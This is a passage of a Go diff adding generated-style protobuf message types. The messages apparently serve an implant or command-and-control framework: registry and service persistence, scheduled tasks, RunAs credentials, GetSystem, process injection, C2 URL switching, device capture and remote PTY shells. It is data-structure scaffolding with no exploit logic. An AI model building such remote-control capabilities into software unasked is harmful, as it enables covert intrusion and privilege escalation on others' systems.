`protobuf:"varint,3,opt,name=priv,proto3" json:"priv,omitempty"` + Data []byte `protobuf:"bytes,4,opt,name=data,proto3" json:"data,omitempty"` + Hidden bool `protobuf:"varint,5,opt,name=hidden,proto3" json:"hidden,omitempty"` + Override bool `protobuf:"varint,6,opt,name=override,proto3" json:"override,omitempty"` +} + +func (x *UploadRequest) Reset() { + *x = UploadRequest{} +} + +func (*UploadRequest) ProtoMessage() {} + +func (x *UploadRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *UploadRequest) GetTarget() string { + if x != nil { + return x.Target + } + return "" +} + +func (x *UploadRequest) GetPriv() uint32 { + if x != nil { + return x.Priv + } + return 0 +} + +func (x *UploadRequest) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +func (x *UploadRequest) GetHidden() bool { + if x != nil { + return x.Hidden + } + return false +} + +func (x *UploadRequest) GetOverride() bool { + if x != nil { + return x.Override + } + return false +} + +type DownloadRequest struct { + unknownFields []byte + Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` + Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + BufferSize uint32 `protobuf:"varint,3,opt,name=buffer_size,json=bufferSize,proto3" json:"bufferSize,omitempty"` + Dir bool `protobuf:"varint,4,opt,name=dir,proto3" json:"dir,omitempty"` + Cur int32 `protobuf:"varint,5,opt,name=cur,proto3" json:"cur,omitempty"` +} + +func (x *DownloadRequest) Reset() { + *x = DownloadRequest{} +} + +func (*DownloadRequest) ProtoMessage() {} + +func (x *DownloadRequest) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *DownloadRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *DownloadRequest) GetBufferSize() uint32 { + if x != nil { + return x.BufferSize + } + return 0 +} + +func (x *DownloadRequest) GetDir() bool { + if x != nil { + return x.Dir + } + return false +} + +func (x *DownloadRequest) GetCur() int32 { + if x != nil { + return x.Cur + } + return 0 +} + +type DownloadResponse struct { + unknownFields []byte + Checksum string `protobuf:"bytes,1,opt,name=checksum,proto3" json:"checksum,omitempty"` + Size uint64 `protobuf:"varint,2,opt,name=size,proto3" json:"size,omitempty"` + Cur int32 `protobuf:"varint,3,opt,name=cur,proto3" json:"cur,omitempty"` + Content []byte `protobuf:"bytes,4,opt,name=content,proto3" json:"content,omitempty"` +} + +func (x *DownloadResponse) Reset() { + *x = DownloadResponse{} +} + +func (*DownloadResponse) ProtoMessage() {} + +func (x *DownloadResponse) GetChecksum() string { + if x != nil { + return x.Checksum + } + return "" +} + +func (x *DownloadResponse) GetSize() uint64 { + if x != nil { + return x.Size + } + return 0 +} + +func (x *DownloadResponse) GetCur() int32 { + if x != nil { + return x.Cur + } + return 0 +} + +func (x *DownloadResponse) GetContent() []byte { + if x != nil { + return x.Content + } + return nil +} + +type CurlRequest struct { + unknownFields []byte + Url string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` + Timeout int32 `protobuf:"varint,2,opt,name=timeout,proto3" json:"timeout,omitempty"` + Method string `protobuf:"bytes,3,opt,name=method,proto3" json:"method,omitempty"` + Body []byte `protobuf:"bytes,4,opt,name=body,proto3" json:"body,omitempty"` + Header map[string]string `protobuf:"bytes,5,rep,name=header,proto3" json:"header,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Hostname string `protobuf:"bytes,6,opt,name=hostname,proto3" json:"hostname,omitempty"` +} + +func (x *CurlRequest) Reset() { + *x = CurlRequest{} +} + +func (*CurlRequest) ProtoMessage() {} + +func (x *CurlRequest) GetUrl() string { + if x != nil { + return x.Url + } + return "" +} + +func (x *CurlRequest) GetTimeout() int32 { + if x != nil { + return x.Timeout + } + return 0 +} + +func (x *CurlRequest) GetMethod() string { + if x != nil { + return x.Method + } + return "" +} + +func (x *CurlRequest) GetBody() []byte { + if x != nil { + return x.Body + } + return nil +} + +func (x *CurlRequest) GetHeader() map[string]string { + if x != nil { + return x.Header + } + return nil +} + +func (x *CurlRequest) GetHostname() string { + if x != nil { + return x.Hostname + } + return "" +} + +type ChownRequest struct { + unknownFields []byte + Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` + Uid string `protobuf:"bytes,2,opt,name=uid,proto3" json:"uid,omitempty"` + Gid string `protobuf:"bytes,3,opt,name=gid,proto3" json:"gid,omitempty"` + Recursive bool `protobuf:"varint,4,opt,name=recursive,proto3" json:"recursive,omitempty"` +} + +func (x *ChownRequest) Reset() { + *x = ChownRequest{} +} + +func (*ChownRequest) ProtoMessage() {} + +func (x *ChownRequest) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *ChownRequest) GetUid() string { + if x != nil { + return x.Uid + } + return "" +} + +func (x *ChownRequest) GetGid() string { + if x != nil { + return x.Gid + } + return "" +} + +func (x *ChownRequest) GetRecursive() bool { + if x != nil { + return x.Recursive + } + return false +} + +type IfconfigResponse struct { + unknownFields []byte + NetInterfaces []*NetInterface `protobuf:"bytes,1,rep,name=net_interfaces,json=netInterfaces,proto3" json:"netInterfaces,omitempty"` +} + +func (x *IfconfigResponse) Reset() { + *x = IfconfigResponse{} +} + +func (*IfconfigResponse) ProtoMessage() {} + +func (x *IfconfigResponse) GetNetInterfaces() []*NetInterface { + if x != nil { + return x.NetInterfaces + } + return nil +} + +// wrap for client +type RegistryRequest struct { + unknownFields []byte + Type string `protobuf:"bytes,1,opt,name=type,proto3" json:"type,omitempty"` + Registry *Registry `protobuf:"bytes,2,opt,name=registry,proto3" json:"registry,omitempty"` +} + +func (x *RegistryRequest) Reset() { + *x = RegistryRequest{} +} + +func (*RegistryRequest) ProtoMessage() {} + +func (x *RegistryRequest) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *RegistryRequest) GetRegistry() *Registry { + if x != nil { + return x.Registry + } + return nil +} + +type Registry struct { + unknownFields []byte + Hive string `protobuf:"bytes,1,opt,name=hive,proto3" json:"hive,omitempty"` + Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` + Key string `protobuf:"bytes,3,opt,name=key,proto3" json:"key,omitempty"` +} + +func (x *Registry) Reset() { + *x = Registry{} +} + +func (*Registry) ProtoMessage() {} + +func (x *Registry) GetHive() string { + if x != nil { + return x.Hive + } + return "" +} + +func (x *Registry) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *Registry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +type RegistryWriteRequest struct { + unknownFields []byte + Hive string `protobuf:"bytes,1,opt,name=hive,proto3" json:"hive,omitempty"` + Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` + Key string `protobuf:"bytes,3,opt,name=key,proto3" json:"key,omitempty"` + StringValue string `protobuf:"bytes,5,opt,name=string_value,json=stringValue,proto3" json:"stringValue,omitempty"` + ByteValue []byte `protobuf:"bytes,6,opt,name=byte_value,json=byteValue,proto3" json:"byteValue,omitempty"` + DwordValue uint32 `protobuf:"varint,7,opt,name=dword_value,json=dwordValue,proto3" json:"dwordValue,omitempty"` + QwordValue uint64 `protobuf:"varint,8,opt,name=qword_value,json=qwordValue,proto3" json:"qwordValue,omitempty"` + Regtype uint32 `protobuf:"varint,10,opt,name=regtype,proto3" json:"regtype,omitempty"` +} + +func (x *RegistryWriteRequest) Reset() { + *x = RegistryWriteRequest{} +} + +func (*RegistryWriteRequest) ProtoMessage() {} + +func (x *RegistryWriteRequest) GetHive() string { + if x != nil { + return x.Hive + } + return "" +} + +func (x *RegistryWriteRequest) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *RegistryWriteRequest) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *RegistryWriteRequest) GetStringValue() string { + if x != nil { + return x.StringValue + } + return "" +} + +func (x *RegistryWriteRequest) GetByteValue() []byte { + if x != nil { + return x.ByteValue + } + return nil +} + +func (x *RegistryWriteRequest) GetDwordValue() uint32 { + if x != nil { + return x.DwordValue + } + return 0 +} + +func (x *RegistryWriteRequest) GetQwordValue() uint64 { + if x != nil { + return x.QwordValue + } + return 0 +} + +func (x *RegistryWriteRequest) GetRegtype() uint32 { + if x != nil { + return x.Regtype + } + return 0 +} + +type TaskScheduleRequest struct { + unknownFields []byte + Type string `protobuf:"bytes,1,opt,name=type,proto3" json:"type,omitempty"` + Taskschd *TaskSchedule `protobuf:"bytes,2,opt,name=taskschd,proto3" json:"taskschd,omitempty"` +} + +func (x *TaskScheduleRequest) Reset() { + *x = TaskScheduleRequest{} +} + +func (*TaskScheduleRequest) ProtoMessage() {} + +func (x *TaskScheduleRequest) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *TaskScheduleRequest) GetTaskschd() *TaskSchedule { + if x != nil { + return x.Taskschd + } + return nil +} + +type TaskSchedule struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` + ExecutablePath string `protobuf:"bytes,3,opt,name=executable_path,json=executablePath,proto3" json:"executablePath,omitempty"` + TriggerType uint32 `protobuf:"varint,4,opt,name=trigger_type,json=triggerType,proto3" json:"triggerType,omitempty"` + StartBoundary string `protobuf:"bytes,5,opt,name=start_boundary,json=startBoundary,proto3" json:"startBoundary,omitempty"` + Description string `protobuf:"bytes,6,opt,name=description,proto3" json:"description,omitempty"` + Enabled bool `protobuf:"varint,7,opt,name=enabled,proto3" json:"enabled,omitempty"` + LastRunTime string `protobuf:"bytes,8,opt,name=last_run_time,json=lastRunTime,proto3" json:"lastRunTime,omitempty"` + NextRunTime string `protobuf:"bytes,9,opt,name=next_run_time,json=nextRunTime,proto3" json:"nextRunTime,omitempty"` +} + +func (x *TaskSchedule) Reset() { + *x = TaskSchedule{} +} + +func (*TaskSchedule) ProtoMessage() {} + +func (x *TaskSchedule) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *TaskSchedule) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *TaskSchedule) GetExecutablePath() string { + if x != nil { + return x.ExecutablePath + } + return "" +} + +func (x *TaskSchedule) GetTriggerType() uint32 { + if x != nil { + return x.TriggerType + } + return 0 +} + +func (x *TaskSchedule) GetStartBoundary() string { + if x != nil { + return x.StartBoundary + } + return "" +} + +func (x *TaskSchedule) GetDescription() string { + if x != nil { + return x.Description + } + return "" +} + +func (x *TaskSchedule) GetEnabled() bool { + if x != nil { + return x.Enabled + } + return false +} + +func (x *TaskSchedule) GetLastRunTime() string { + if x != nil { + return x.LastRunTime + } + return "" +} + +func (x *TaskSchedule) GetNextRunTime() string { + if x != nil { + return x.NextRunTime + } + return "" +} + +type TaskSchedulesResponse struct { + unknownFields []byte + Schedules []*TaskSchedule `protobuf:"bytes,1,rep,name=schedules,proto3" json:"schedules,omitempty"` +} + +func (x *TaskSchedulesResponse) Reset() { + *x = TaskSchedulesResponse{} +} + +func (*TaskSchedulesResponse) ProtoMessage() {} + +func (x *TaskSchedulesResponse) GetSchedules() []*TaskSchedule { + if x != nil { + return x.Schedules + } + return nil +} + +// wrap for client +type ServiceRequest struct { + unknownFields []byte + Type string `protobuf:"bytes,1,opt,name=type,proto3" json:"type,omitempty"` + Service *ServiceConfig `protobuf:"bytes,2,opt,name=service,proto3" json:"service,omitempty"` +} + +func (x *ServiceRequest) Reset() { + *x = ServiceRequest{} +} + +func (*ServiceRequest) ProtoMessage() {} + +func (x *ServiceRequest) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *ServiceRequest) GetService() *ServiceConfig { + if x != nil { + return x.Service + } + return nil +} + +type ServiceConfig struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + DisplayName string `protobuf:"bytes,2,opt,name=display_name,json=displayName,proto3" json:"displayName,omitempty"` + ExecutablePath string `protobuf:"bytes,3,opt,name=executable_path,json=executablePath,proto3" json:"executablePath,omitempty"` + StartType uint32 `protobuf:"varint,4,opt,name=start_type,json=startType,proto3" json:"startType,omitempty"` + ErrorControl uint32 `protobuf:"varint,5,opt,name=error_control,json=errorControl,proto3" json:"errorControl,omitempty"` + AccountName string `protobuf:"bytes,6,opt,name=account_name,json=accountName,proto3" json:"accountName,omitempty"` +} + +func (x *ServiceConfig) Reset() { + *x = ServiceConfig{} +} + +func (*ServiceConfig) ProtoMessage() {} + +func (x *ServiceConfig) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *ServiceConfig) GetDisplayName() string { + if x != nil { + return x.DisplayName + } + return "" +} + +func (x *ServiceConfig) GetExecutablePath() string { + if x != nil { + return x.ExecutablePath + } + return "" +} + +func (x *ServiceConfig) GetStartType() uint32 { + if x != nil { + return x.StartType + } + return 0 +} + +func (x *ServiceConfig) GetErrorControl() uint32 { + if x != nil { + return x.ErrorControl + } + return 0 +} + +func (x *ServiceConfig) GetAccountName() string { + if x != nil { + return x.AccountName + } + return "" +} + +type ServiceStatus struct { + unknownFields []byte + CurrentState uint32 `protobuf:"varint,1,opt,name=current_state,json=currentState,proto3" json:"currentState,omitempty"` + ProcessId uint32 `protobuf:"varint,2,opt,name=process_id,json=processId,proto3" json:"processId,omitempty"` + ExitCode uint32 `protobuf:"varint,3,opt,name=exit_code,json=exitCode,proto3" json:"exitCode,omitempty"` + Checkpoint uint32 `protobuf:"varint,4,opt,name=checkpoint,proto3" json:"checkpoint,omitempty"` + WaitHint uint32 `protobuf:"varint,5,opt,name=wait_hint,json=waitHint,proto3" json:"waitHint,omitempty"` +} + +func (x *ServiceStatus) Reset() { + *x = ServiceStatus{} +} + +func (*ServiceStatus) ProtoMessage() {} + +func (x *ServiceStatus) GetCurrentState() uint32 { + if x != nil { + return x.CurrentState + } + return 0 +} + +func (x *ServiceStatus) GetProcessId() uint32 { + if x != nil { + return x.ProcessId + } + return 0 +} + +func (x *ServiceStatus) GetExitCode() uint32 { + if x != nil { + return x.ExitCode + } + return 0 +} + +func (x *ServiceStatus) GetCheckpoint() uint32 { + if x != nil { + return x.Checkpoint + } + return 0 +} + +func (x *ServiceStatus) GetWaitHint() uint32 { + if x != nil { + return x.WaitHint + } + return 0 +} + +type Service struct { + unknownFields []byte + Config *ServiceConfig `protobuf:"bytes,1,opt,name=config,proto3" json:"config,omitempty"` + Status *ServiceStatus `protobuf:"bytes,2,opt,name=status,proto3" json:"status,omitempty"` +} + +func (x *Service) Reset() { + *x = Service{} +} + +func (*Service) ProtoMessage() {} + +func (x *Service) GetConfig() *ServiceConfig { + if x != nil { + return x.Config + } + return nil +} + +func (x *Service) GetStatus() *ServiceStatus { + if x != nil { + return x.Status + } + return nil +} + +type ServicesResponse struct { + unknownFields []byte + Services []*Service `protobuf:"bytes,1,rep,name=services,proto3" json:"services,omitempty"` +} + +func (x *ServicesResponse) Reset() { + *x = ServicesResponse{} +} + +func (*ServicesResponse) ProtoMessage() {} + +func (x *ServicesResponse) GetServices() []*Service { + if x != nil { + return x.Services + } + return nil +} + +type WmiQueryRequest struct { + unknownFields []byte + Namespace string `protobuf:"bytes,1,opt,name=namespace,proto3" json:"namespace,omitempty"` + Args []string `protobuf:"bytes,2,rep,name=args,proto3" json:"args,omitempty"` +} + +func (x *WmiQueryRequest) Reset() { + *x = WmiQueryRequest{} +} + +func (*WmiQueryRequest) ProtoMessage() {} + +func (x *WmiQueryRequest) GetNamespace() string { + if x != nil { + return x.Namespace + } + return "" +} + +func (x *WmiQueryRequest) GetArgs() []string { + if x != nil { + return x.Args + } + return nil +} + +type WmiMethodRequest struct { + unknownFields []byte + Namespace string `protobuf:"bytes,1,opt,name=namespace,proto3" json:"namespace,omitempty"` + ClassName string `protobuf:"bytes,2,opt,name=class_name,json=className,proto3" json:"className,omitempty"` + MethodName string `protobuf:"bytes,3,opt,name=method_name,json=methodName,proto3" json:"methodName,omitempty"` + Params map[string]string `protobuf:"bytes,4,rep,name=params,proto3" json:"params,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` +} + +func (x *WmiMethodRequest) Reset() { + *x = WmiMethodRequest{} +} + +func (*WmiMethodRequest) ProtoMessage() {} + +func (x *WmiMethodRequest) GetNamespace() string { + if x != nil { + return x.Namespace + } + return "" +} + +func (x *WmiMethodRequest) GetClassName() string { + if x != nil { + return x.ClassName + } + return "" +} + +func (x *WmiMethodRequest) GetMethodName() string { + if x != nil { + return x.MethodName + } + return "" +} + +func (x *WmiMethodRequest) GetParams() map[string]string { + if x != nil { + return x.Params + } + return nil +} + +type RunAsRequest struct { + unknownFields []byte + Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` // Username to execute as + Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"` // User domain + Password string `protobuf:"bytes,3,opt,name=password,proto3" json:"password,omitempty"` // User password + Program string `protobuf:"bytes,4,opt,name=program,proto3" json:"program,omitempty"` // Program path + Args string `protobuf:"bytes,5,opt,name=args,proto3" json:"args,omitempty"` // Program arguments (optional) + UseProfile bool `protobuf:"varint,6,opt,name=use_profile,json=useProfile,proto3" json:"useProfile,omitempty"` + Netonly bool `protobuf:"varint,7,opt,name=netonly,proto3" json:"netonly,omitempty"` // Use network credentials only (optional, default false) + UseEnv bool `protobuf:"varint,8,opt,name=use_env,json=useEnv,proto3" json:"useEnv,omitempty"` +} + +func (x *RunAsRequest) Reset() { + *x = RunAsRequest{} +} + +func (*RunAsRequest) ProtoMessage() {} + +func (x *RunAsRequest) GetUsername() string { + if x != nil { + return x.Username + } + return "" +} + +func (x *RunAsRequest) GetDomain() string { + if x != nil { + return x.Domain + } + return "" +} + +func (x *RunAsRequest) GetPassword() string { + if x != nil { + return x.Password + } + return "" +} + +func (x *RunAsRequest) GetProgram() string { + if x != nil { + return x.Program + } + return "" +} + +func (x *RunAsRequest) GetArgs() string { + if x != nil { + return x.Args + } + return "" +} + +func (x *RunAsRequest) GetUseProfile() bool { + if x != nil { + return x.UseProfile + } + return false +} + +func (x *RunAsRequest) GetNetonly() bool { + if x != nil { + return x.Netonly + } + return false +} + +func (x *RunAsRequest) GetUseEnv() bool { + if x != nil { + return x.UseEnv + } + return false +} + +type GetSystem struct { + unknownFields []byte + Bin []byte `protobuf:"bytes,1,opt,name=bin,proto3" json:"bin,omitempty"` + Pid uint32 `protobuf:"varint,2,opt,name=pid,proto3" json:"pid,omitempty"` +} + +func (x *GetSystem) Reset() { + *x = GetSystem{} +} + +func (*GetSystem) ProtoMessage() {} + +func (x *GetSystem) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +func (x *GetSystem) GetPid() uint32 { + if x != nil { + return x.Pid + } + return 0 +} + +type Inject struct { + unknownFields []byte + Bin []byte `protobuf:"bytes,1,opt,name=bin,proto3" json:"bin,omitempty"` + Pid uint32 `protobuf:"varint,2,opt,name=pid,proto3" json:"pid,omitempty"` +} + +func (x *Inject) Reset() { + *x = Inject{} +} + +func (*Inject) ProtoMessage() {} + +func (x *Inject) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +func (x *Inject) GetPid() uint32 { + if x != nil { + return x.Pid + } + return 0 +} + +type Pipe struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Target string `protobuf:"bytes,2,opt,name=target,proto3" json:"target,omitempty"` + Data []byte `protobuf:"bytes,4,opt,name=data,proto3" json:"data,omitempty"` +} + +func (x *Pipe) Reset() { + *x = Pipe{} +} + +func (*Pipe) ProtoMessage() {} + +func (x *Pipe) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Pipe) GetTarget() string { + if x != nil { + return x.Target + } + return "" +} + +func (x *Pipe) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +type PipeRequest struct { + unknownFields []byte + Type string `protobuf:"bytes,1,opt,name=type,proto3" json:"type,omitempty"` + Pipe *Pipe `protobuf:"bytes,2,opt,name=pipe,proto3" json:"pipe,omitempty"` +} + +func (x *PipeRequest) Reset() { + *x = PipeRequest{} +} + +func (*PipeRequest) ProtoMessage() {} + +func (x *PipeRequest) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *PipeRequest) GetPipe() *Pipe { + if x != nil { + return x.Pipe + } + return nil +} + +type Switch struct { + unknownFields []byte + Urls []string `protobuf:"bytes,1,rep,name=urls,proto3" json:"urls,omitempty"` +} + +func (x *Switch) Reset() { + *x = Switch{} +} + +func (*Switch) ProtoMessage() {} + +func (x *Switch) GetUrls() []string { + if x != nil { + return x.Urls + } + return nil +} + +type TaskCtrl struct { + unknownFields []byte + TaskId uint32 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"taskId,omitempty"` + Op string `protobuf:"bytes,2,opt,name=op,proto3" json:"op,omitempty"` +} + +func (x *TaskCtrl) Reset() { + *x = TaskCtrl{} +} + +func (*TaskCtrl) ProtoMessage() {} + +func (x *TaskCtrl) GetTaskId() uint32 { + if x != nil { + return x.TaskId + } + return 0 +} + +func (x *TaskCtrl) GetOp() string { + if x != nil { + return x.Op + } + return "" +} + +type TaskInfo struct { + unknownFields []byte + TaskId uint32 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"taskId,omitempty"` + Last uint64 `protobuf:"varint,2,opt,name=last,proto3" json:"last,omitempty"` + RecvCount uint32 `protobuf:"varint,3,opt,name=recv_count,json=recvCount,proto3" json:"recvCount,omitempty"` + SendCount uint32 `protobuf:"varint,4,opt,name=send_count,json=sendCount,proto3" json:"sendCount,omitempty"` +} + +func (x *TaskInfo) Reset() { + *x = TaskInfo{} +} + +func (*TaskInfo) ProtoMessage() {} + +func (x *TaskInfo) GetTaskId() uint32 { + if x != nil { + return x.TaskId + } + return 0 +} + +func (x *TaskInfo) GetLast() uint64 { + if x != nil { + return x.Last + } + return 0 +} + +func (x *TaskInfo) GetRecvCount() uint32 { + if x != nil { + return x.RecvCount + } + return 0 +} + +func (x *TaskInfo) GetSendCount() uint32 { + if x != nil { + return x.SendCount + } + return 0 +} + +type TaskListResponse struct { + unknownFields []byte + Tasks []*TaskInfo `protobuf:"bytes,1,rep,name=tasks,proto3" json:"tasks,omitempty"` +} + +func (x *TaskListResponse) Reset() { + *x = TaskListResponse{} +} + +func (*TaskListResponse) ProtoMessage() {} + +func (x *TaskListResponse) GetTasks() []*TaskInfo { + if x != nil { + return x.Tasks + } + return nil +} + +type FFmpegRequest struct { + unknownFields []byte + Action string `protobuf:"bytes,1,opt,name=action,proto3" json:"action,omitempty"` + DeviceName string `protobuf:"bytes,2,opt,name=device_name,json=deviceName,proto3" json:"deviceName,omitempty"` + OutputFormat string `protobuf:"bytes,3,opt,name=output_format,json=outputFormat,proto3" json:"outputFormat,omitempty"` + OutputPath string `protobuf:"bytes,4,opt,name=output_path,json=outputPath,proto3" json:"outputPath,omitempty"` + Time string `protobuf:"bytes,5,opt,name=time,proto3" json:"time,omitempty"` +} + +func (x *FFmpegRequest) Reset() { + *x = FFmpegRequest{} +} + +func (*FFmpegRequest) ProtoMessage() {} + +func (x *FFmpegRequest) GetAction() string { + if x != nil { + return x.Action + } + return "" +} + +func (x *FFmpegRequest) GetDeviceName() string { + if x != nil { + return x.DeviceName + } + return "" +} + +func (x *FFmpegRequest) GetOutputFormat() string { + if x != nil { + return x.OutputFormat + } + return "" +} + +func (x *FFmpegRequest) GetOutputPath() string { + if x != nil { + return x.OutputPath + } + return "" +} + +func (x *FFmpegRequest) GetTime() string { + if x != nil { + return x.Time + } + return "" +} + +// PTY +type PtyRequest struct { + unknownFields []byte + Type string `protobuf:"bytes,1,opt,name=type,proto3" json:"type,omitempty"` // type: "start", "input", "stop" + SessionId string `protobuf:"bytes,2,opt,name=session_id,json=sessionId,proto3" json:"sessionId,omitempty"` // + Shell string `protobuf:"bytes,3,opt,name=shell,proto3" json:"shell,omitempty"` // shell type: "/bin/bash", "cmd.exe", "powershell.exe" + Cols uint32 `protobuf:"varint,4,opt,name=cols,proto3" json:"cols,omitempty"` // + Rows uint32 `protobuf:"varint,5,opt,name=rows,proto3" json:"rows,omitempty"` // + InputData []byte `protobuf:"bytes,6,opt,name=input_data,json=inputData,proto3" json:"inputData,omitempty"` // + InputText string `protobuf:"bytes,7,opt,name=input_text,json=inputText,proto3" json:"inputText,omitempty"` // + Params map[string]string `protobuf:"bytes,8,rep,name=params,proto3" json:"params,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` // +} + +func (x *PtyRequest) Reset() { + *x = PtyRequest{} +} + +func (*PtyRequest) ProtoMessage() {} + +func (x *PtyRequest) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *PtyRequest) GetSessionId() string { + if x != nil { + return x.SessionId + } + return "" +} + +func (x *PtyRequest) GetShell() string { + if x != nil { + return x.Shell + } + return "" +} + +func (x *PtyRequest) GetCols() uint32 { + if x != nil { + return x.Cols + } + return 0 +} + +func (x *PtyRequest) GetRows() uint32 { + if x != nil { + return x.Rows + } + return 0 +} + +func (x *PtyRequest) GetInputData() []byte { + if x != nil { + return x.InputData + } + return nil +} + +func (x *PtyRequest) GetInputText() string { + if x != nil { + return x.InputText + } + return "" +} + +func (x *PtyRequest) GetParams() map[string]string { + if x != nil { + return x.Params + } + return nil +} + +type PtyResponse struct { + unknownFields []byte + SessionId string `protobuf:"bytes,1,opt,name=session_id,json=sessionId,proto3" json:"sessionId,omitempty"` // Session ID + OutputData []byte `protobuf:"bytes,2,opt,name=output_data,json=outputData,proto3" json:"outputData,omitempty"` // Output data (binary) + OutputText string `protobuf:"bytes,3,opt,name=output_text,json=outputText,proto3" json:"outputText,omitempty"` // Output data (text) + Error string `protobuf:"bytes,4,opt,name=error,proto3" json:"error,omitempty"` // Error message + SessionActive bool `protobuf:"varint,5,opt,name=session_active,json=sessionActive,proto3" json:"sessionActive,omitempty"` // Whether session is still active + ActiveSessions []string `protobuf:"bytes,6,rep,name=active_sessions,json=activeSessions,proto3" json:"activeSessions,omitempty"` + Metadata map[string]string `protobuf:"bytes,7,rep,name=metadata,proto3" json:"metadata,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` +} + +func (x *PtyResponse) Reset() { + *x = PtyResponse{} +} + +func (*PtyResponse) ProtoMessage() {} + +func (x *PtyResponse) GetSessionId() string { + if x != nil { + return x.SessionId + } + return "" +} + +func (x *PtyResponse) GetOutputData() []byte { + if x != nil { + return x.OutputData + } + return nil +} + +func (x *PtyResponse) GetOutputText() string { + if x != nil { + return x.OutputText + } + return "" +} + +func (x *PtyResponse) GetError() string { + if x != nil { + return x.Error + } + return "" +} + +func (x *PtyResponse) GetSessionActive() bool { + if x != nil { + return x.SessionActive + } + return false +} + +func (x *PtyResponse) GetActiveSessions() []string { + if x != nil { + return x.ActiveSessions + } + return nil +} + +func (x *PtyResponse) GetMetadata() map[string]string { + if x != nil { + return x.Metadata + } + return nil +} + +type CommonBody struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + U32Array []uint32 `protobuf:"varint,2,rep,packed,name=u32_array,json=u32Array,proto3" json:"u32Array,omitempty"` + U64Array []uint64 `protobuf:"varint,4,rep,packed,name=u64_array,json=u64Array,proto3" json:"u64Array,omitempty"` + BoolArray []bool `protobuf:"varint,6,rep,packed,name=bool_array,json=boolArray,proto3" json:"boolArray,omitempty"` + StringArray []string `protobuf:"bytes,8,rep,name=string_array,json=stringArray,proto3" json:"stringArray,omitempty"` + BytesArray [][]byte `protobuf:"bytes,10,rep,name=bytes_array,json=bytesArray,proto3" json:"bytesArray,omitempty"` +} + +func (x *CommonBody) Reset() { + *x = CommonBody{} +} + +func (*CommonBody) ProtoMessage() {} + +func (x *CommonBody) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *CommonBody) GetU32Array() []uint32 { + if x != nil { + return x.U32Array + } + return nil +} + +func (x *CommonBody) GetU64Array() []uint64 { + if x != nil { + return x.U64Array + } + return nil +} + +func (x *CommonBody) GetBoolArray() []bool { + if x != nil { + return x.BoolArray + } + return nil +} + +func (x *CommonBody) GetStringArray() []string { + if x != nil { + return x.StringArray + } + return nil +} + +func (x *CommonBody) GetBytesArray() [][]byte { + if x != nil { + return x.BytesArray + } + return nil +} + +type Request_ParamsEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *Request_ParamsEntry) Reset() { + *x = Request_ParamsEntry{} +} + +func (*Request_ParamsEntry) ProtoMessage() {} + +func (x *Request_ParamsEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *Request_ParamsEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type Response_KvEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *Response_KvEntry) Reset() { + *x = Response_KvEntry{} +} + +func (*Response_KvEntry) ProtoMessage() {} + +func (x *Response_KvEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *Response_KvEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type ExecuteBinary_ParamEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *ExecuteBinary_ParamEntry) Reset() { + *x = ExecuteBinary_ParamEntry{} +} + +func 